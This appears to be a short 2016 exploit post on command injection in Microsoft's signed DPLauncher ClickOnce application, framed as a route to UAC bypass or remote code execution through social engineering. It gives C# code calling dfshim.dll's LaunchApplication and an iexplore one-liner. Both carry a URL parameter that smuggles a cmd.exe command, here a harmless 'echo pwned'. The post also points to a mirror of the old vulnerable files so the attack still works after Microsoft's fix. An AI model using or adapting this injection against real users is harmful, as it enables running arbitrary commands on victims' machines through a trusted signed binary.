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December 14, 2016 19:28
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Command injection in MS' One Step / DPLauncher / "Get ready for the Internet" application, for UAC / RCE through social engineering using MS signed exe / clickonce.
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| using System; | |
| using System.Runtime.InteropServices; | |
| class DPPwned { | |
| [DllImport("dfshim.dll")] | |
| public static extern int LaunchApplication([MarshalAs(UnmanagedType.LPWStr)] string deploymentUrl,int data,int flags); | |
| public static void Main() { | |
| LaunchApplication("https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+",0,0); | |
| } | |
| } |
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| iexplore https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+ | |
| Also works in Edge! | |
| Mirror of the files: http://lucasm.cf/?zmnlz |
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Please note that the version of DPLauncher on onestepfreinstaller.blob.core.windows.net has now been fixed. Exploitation will now require hosting the files yourself. Here's a mirror of the old version: http://lucasm.cf/?zmnlz